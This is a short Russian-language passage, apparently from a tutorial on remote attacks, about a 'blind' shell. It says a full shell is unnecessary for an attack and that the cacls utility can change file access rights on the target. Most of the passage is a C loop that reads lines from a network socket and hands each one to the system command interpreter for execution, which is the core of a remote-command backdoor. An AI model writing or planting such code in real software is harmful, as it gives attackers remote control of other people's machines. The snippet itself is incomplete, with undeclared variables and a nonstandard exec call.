Слепой shell
Если разобраться, то для реализации удаленной атаки полноценный shell совсем необязателен и на первых порах можно ограничиться "слепой" передачей команд штатного командного интерпретатора (естественно, с возможностью удаленного запуска различных утилит и в частности утилиты calcs, обеспечивающей управление таблицами управления доступа к файлам).
В простейшем случае shell реализуется приблизительно так:
// мотаем цикл, принимая с сокета команды
// пока есть что принимать
while(1)
{
// принимаем очередную порцию данных
a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0);
// если соединение неожиданно закрылось выходим из цикла
if (a < 1) break;
// увеличиваем счетчик кол-ва принятых символов
// и внедряем на конец строки завершающий ноль
p += a; buf[p] = 0;
// строка содержит символ переноса строки?
if ((ch = strpbrk(buf, xEOL)) != 0)
{ // да, содержит
// отсекаем символ переноса и очищаем счетчик
*ch = 0; p = 0;
// если строка не пуста, передаем ее командному
// интерпретатору на выполнение
if (strlen(buf))
{
sprintf(cmd, "%s%s", SHELL, buf); exec(cmd);
} else break; // если это пустая строка - выходим
}
}